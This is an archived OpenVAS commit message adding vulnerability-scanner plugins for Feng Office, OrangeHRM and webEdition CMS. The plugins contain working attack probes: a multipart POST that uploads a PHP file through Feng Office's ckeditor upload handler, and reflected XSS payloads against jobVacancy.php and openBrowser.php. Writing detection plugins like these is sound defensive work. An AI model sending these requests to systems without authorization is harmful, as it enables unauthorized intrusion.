[Openvas-commits] r10646 - in trunk/openvas-plugins: . scripts

scm-commit@wald.intevation.org scm-commit at wald.intevation.org
Mon Mar 28 19:09:59 CEST 2011


Author: mime
Date: 2011-03-28 19:09:51 +0200 (Mon, 28 Mar 2011)
New Revision: 10646

Added:
   trunk/openvas-plugins/scripts/gb_feng_office_47049.nasl
   trunk/openvas-plugins/scripts/gb_orangehrm_47046.nasl
   trunk/openvas-plugins/scripts/gb_webedition_47047.nasl
Modified:
   trunk/openvas-plugins/ChangeLog
   trunk/openvas-plugins/scripts/gb_wodWebServer_1_3_3.nasl
Log:
Added new plugins. Added Bugtraq ID

Modified: trunk/openvas-plugins/ChangeLog
===================================================================
--- trunk/openvas-plugins/ChangeLog	2011-03-28 14:18:41 UTC (rev 10645)
+++ trunk/openvas-plugins/ChangeLog	2011-03-28 17:09:51 UTC (rev 10646)
@@ -1,5 +1,15 @@
 2011-03-28  Michael Meyer <michael.meyer at greenbone.net>
 
+	* scripts/gb_orangehrm_47046.nasl,
+	scripts/gb_feng_office_47049.nasl,
+	scripts/gb_webedition_47047.nasl:
+	Added new plugins.
+
+	* scripts/gb_wodWebServer_1_3_3.nasl:
+	Added Bugtraq ID.
+
+2011-03-28  Michael Meyer <michael.meyer at greenbone.net>
+
 	* scripts/gb_wodWebServer_1_3_3.nasl,
 	scripts/gb_igss_46936.nasl,
 	scripts/gb_newsportal_46961.nasl:

Added: trunk/openvas-plugins/scripts/gb_feng_office_47049.nasl
===================================================================
--- trunk/openvas-plugins/scripts/gb_feng_office_47049.nasl	2011-03-28 14:18:41 UTC (rev 10645)
+++ trunk/openvas-plugins/scripts/gb_feng_office_47049.nasl	2011-03-28 17:09:51 UTC (rev 10646)
@@ -0,0 +1,105 @@
+###############################################################################
+# OpenVAS Vulnerability Test
+# $Id$
+#
+# Feng Office Arbitrary File Upload and Cross Site Scripting Vulnerabilities
+#
+# Authors:
+# Michael Meyer <michael.meyer at greenbone.net>
+#
+# Copyright:
+# Copyright (c) 2011 Greenbone Networks GmbH
+#
+# This program is free software; you can redistribute it and/or modify
+# it under the terms of the GNU General Public License version 2
+# (or any later version), as published by the Free Software Foundation.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program; if not, write to the Free Software
+# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+###############################################################################
+
+if (description)
+{
+ script_id(103133);
+ script_bugtraq_id(47049);
+ script_version ("1.0-$Revision$");
+
+ script_name("Feng Office Arbitrary File Upload and Cross Site Scripting Vulnerabilities");
+
+desc = "Overview:
+Feng Office is prone to an arbitrary-file-upload vulnerability and
+multiple cross-site scripting vulnerabilities because the application
+fails to sufficiently sanitize user-supplied input.
+
+Attackers can exploit these issues to upload and execute arbitrary PHP
+shell code in the context of the webserver process, steal cookie-based
+authentication information, execute arbitrary client-side scripts in
+the context of the browser, and obtain sensitive information. Other
+attacks are also possible.
+
+Feng Office 1.7.4 is vulnerable; other versions may also be affected.
+
+References:
+https://www.securityfocus.com/bid/47049
+http://www.fengoffice.com/web/";
+
+ script_tag(name:"risk_factor", value:"Critical");
+ script_description(desc);
+ script_summary("Determine if Feng Office is prone to an arbitrary-file-upload vulnerability");
+ script_category(ACT_ATTACK);
+ script_family("Web application abuses");
+ script_copyright("This script is Copyright (C) 2011 Greenbone Networks GmbH");
+ script_dependencies("find_service.nes", "http_version.nasl");
+ script_require_ports("Services/www", 80);
+ script_exclude_keys("Settings/disable_cgi_scanning");
+ exit(0);
+}
+
+include("http_func.inc");
+include("http_keepalive.inc");
+include("global_settings.inc");
+   
+port = get_http_port(default:80);
+if(!get_port_state(port))exit(0);
+if(!can_host_php(port:port))exit(0);
+
+dirs = make_list("/feng_community", cgi_dirs());
+
+foreach dir (dirs) {
+
+  rand = rand();
+  url = string(dir, "/public/assets/javascript/ckeditor/ck_upload_handler.php"); 
+  file = string("OpenVAS_TEST_DELETE_ME_", rand, ".php");
+  len = 175 + strlen(file);
+
+  req = string(  
+    "POST ", url, " HTTP/1.1\r\n",
+    "Content-Type: multipart/form-data; boundary=----x\r\n",
+    "Host: ", get_host_name(), "\r\n",
+    "Content-Length: ",len,"\r\n",
+    "Accept: text/html\r\n",
+    "Accept-Encoding: gzip,deflate,sdch\r\n" ,
+    "Accept-Language: en-US,en;q=0.8\r\n",
+    "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3\r\n\r\n",
+    "------x\r\n",
+    'Content-Disposition: form-data; name="imagefile"; filename="',file,'"',"\r\n",
+    "Content-Type: application/octet-stream\r\n\r\n",
+    "<?php echo '<pre>OpenVAS-Upload-Test</pre>'; ?>","\r\n",
+    "------x--\r\n\r\n");
+
+    recv = http_keepalive_send_recv(data:req, port:port, bodyonly:TRUE);
+
+    if(file >< recv) {
+      security_hole(port:port);
+      exit(0);
+    }    
+}
+
+exit(0);
+


Property changes on: trunk/openvas-plugins/scripts/gb_feng_office_47049.nasl
___________________________________________________________________
Name: svn:keywords
   + Id Revision

Added: trunk/openvas-plugins/scripts/gb_orangehrm_47046.nasl
===================================================================
--- trunk/openvas-plugins/scripts/gb_orangehrm_47046.nasl	2011-03-28 14:18:41 UTC (rev 10645)
+++ trunk/openvas-plugins/scripts/gb_orangehrm_47046.nasl	2011-03-28 17:09:51 UTC (rev 10646)
@@ -0,0 +1,84 @@
+###############################################################################
+# OpenVAS Vulnerability Test
+# $Id$
+#
+# OrangeHRM 'jobVacancy.php' Cross Site Scripting Vulnerability
+#
+# Authors:
+# Michael Meyer <michael.meyer at greenbone.net>
+#
+# Copyright:
+# Copyright (c) 2011 Greenbone Networks GmbH
+#
+# This program is free software; you can redistribute it and/or modify
+# it under the terms of the GNU General Public License version 2
+# (or any later version), as published by the Free Software Foundation.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program; if not, write to the Free Software
+# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+###############################################################################
+
+if (description)
+{
+ script_id(103132);
+ script_bugtraq_id(47046);
+ script_version ("1.0-$Revision$");
+
+ script_name("OrangeHRM 'jobVacancy.php' Cross Site Scripting Vulnerability");
+
+desc = "Overview:
+OrangeHRM is prone to a cross-site scripting vulnerability because it
+fails to properly sanitize user-supplied input before using it in
+dynamically generated content.
+
+An attacker may leverage this issue to execute arbitrary script code
+in the browser of an unsuspecting user in the context of the affected
+site. This can allow the attacker to steal cookie-based authentication
+credentials and launch other attacks.
+
+OrangeHRM 2.6.2 is vulnerable; other versions may also be affected.
+
+References:
+https://www.securityfocus.com/bid/47046
+http://www.orangehrm.com/";
+
+ script_tag(name:"risk_factor", value:"Medium");
+ script_description(desc);
+ script_summary("Determine if OrangeHRM is prone to a cross-site scripting vulnerability");
+ script_category(ACT_ATTACK);
+ script_family("Web application abuses");
+ script_copyright("This script is Copyright (C) 2011 Greenbone Networks GmbH");
+ script_dependencies("gb_orangehrm_detect.nasl");
+ script_require_ports("Services/www", 80);
+ script_exclude_keys("Settings/disable_cgi_scanning");
+ exit(0);
+}
+
+include("http_func.inc");
+include("http_keepalive.inc");
+include("version_func.inc");
+   
+port = get_http_port(default:80);
+if(!get_port_state(port))exit(0);
+
+if(!can_host_php(port:port))exit(0);
+
+if(!dir = get_dir_from_kb(port:port,app:"orangehrm"))exit(0);
+   
+url = string(dir, "/templates/recruitment/jobVacancy.php?recruitcode=</script><script>alert('openvas-xss-test')</script>"); 
+
+if(http_vuln_check(port:port, url:url,pattern:"><script>alert\('openvas-xss-test'\)</script>",extra_check:"Employee")) {
+     
+  security_warning(port:port);
+  exit(0);
+
+}
+
+exit(0);
+


Property changes on: trunk/openvas-plugins/scripts/gb_orangehrm_47046.nasl
___________________________________________________________________
Name: svn:keywords
   + Id Revision

Added: trunk/openvas-plugins/scripts/gb_webedition_47047.nasl
===================================================================
--- trunk/openvas-plugins/scripts/gb_webedition_47047.nasl	2011-03-28 14:18:41 UTC (rev 10645)
+++ trunk/openvas-plugins/scripts/gb_webedition_47047.nasl	2011-03-28 17:09:51 UTC (rev 10646)
@@ -0,0 +1,88 @@
+###############################################################################
+# OpenVAS Vulnerability Test
+# $Id$
+#
+# webEdition CMS HTML Injection and Local File Include Vulnerabilities
+#
+# Authors:
+# Michael Meyer <michael.meyer at greenbone.net>
+#
+# Copyright:
+# Copyright (c) 2011 Greenbone Networks GmbH
+#
+# This program is free software; you can redistribute it and/or modify
+# it under the terms of the GNU General Public License version 2
+# (or any later version), as published by the Free Software Foundation.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program; if not, write to the Free Software
+# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+###############################################################################
+
+if (description)
+{
+ script_id(103134);
+ script_bugtraq_id(47047);
+ script_version ("1.0-$Revision$");
+
+ script_name("webEdition CMS HTML Injection and Local File Include Vulnerabilities");
+
+desc = "Overview:
+webEdition CMS is prone to multiple HTML-injection vulnerabilities and
+a local file-include vulnerability.
+
+Exploiting these issues could allow an attacker to execute arbitrary
+script code in the browser of an unsuspecting user in the context of
+the affected site, steal cookie-based authentication credentials, and
+execute arbitrary local scripts in the context of the webserver
+process. This may allow the attacker to compromise the application and
+the computer; other attacks are also possible.
+
+webEdition CMS 6.1.0.2 is vulnerable; other versions may also
+be affected.
+
+References:
+https://www.securityfocus.com/bid/47047
+http://www.webedition.org/de/index.php";
+
+ script_tag(name:"risk_factor", value:"Medium");
+ script_description(desc);
+ script_summary("Determine if installed webEdition CMS is vulnerable");
+ script_category(ACT_ATTACK);
+ script_family("Web application abuses");
+ script_copyright("This script is Copyright (C) 2011 Greenbone Networks GmbH");
+ script_dependencies("find_service.nes", "http_version.nasl");
+ script_require_ports("Services/www", 80);
+ script_exclude_keys("Settings/disable_cgi_scanning");
+ exit(0);
+}
+
+include("http_func.inc");
+include("http_keepalive.inc");
+include("global_settings.inc");
+   
+port = get_http_port(default:80);
+if(!get_port_state(port))exit(0);
+if(!can_host_php(port:port))exit(0);
+
+dirs = make_list("/webedition","/webEdition","/cms",cgi_dirs());
+
+foreach dir (dirs) {
+   
+  url = string(dir, '/openBrowser.php?url="onload="alert(/openvas-xss-test/)'); 
+
+  if(http_vuln_check(port:port, url:url,pattern:"alert\(/openvas-xss-test/\)",extra_check:"<title>webEdition")) {
+     
+    security_warning(port:port);
+    exit(0);
+
+  }
+}
+
+exit(0);
+


Property changes on: trunk/openvas-plugins/scripts/gb_webedition_47047.nasl
___________________________________________________________________
Name: svn:keywords
   + Id Revision

Modified: trunk/openvas-plugins/scripts/gb_wodWebServer_1_3_3.nasl
===================================================================
--- trunk/openvas-plugins/scripts/gb_wodWebServer_1_3_3.nasl	2011-03-28 14:18:41 UTC (rev 10645)
+++ trunk/openvas-plugins/scripts/gb_wodWebServer_1_3_3.nasl	2011-03-28 17:09:51 UTC (rev 10646)
@@ -28,7 +28,7 @@
 {
  script_id(103131);
  script_version ("1.0-$Revision$");
-
+ script_bugtraq_id(47050);
  script_name("wodWebServer.NET 1.3.3 Directory Traversal");
 
 desc = "Overview:



More information about the Openvas-commits mailing list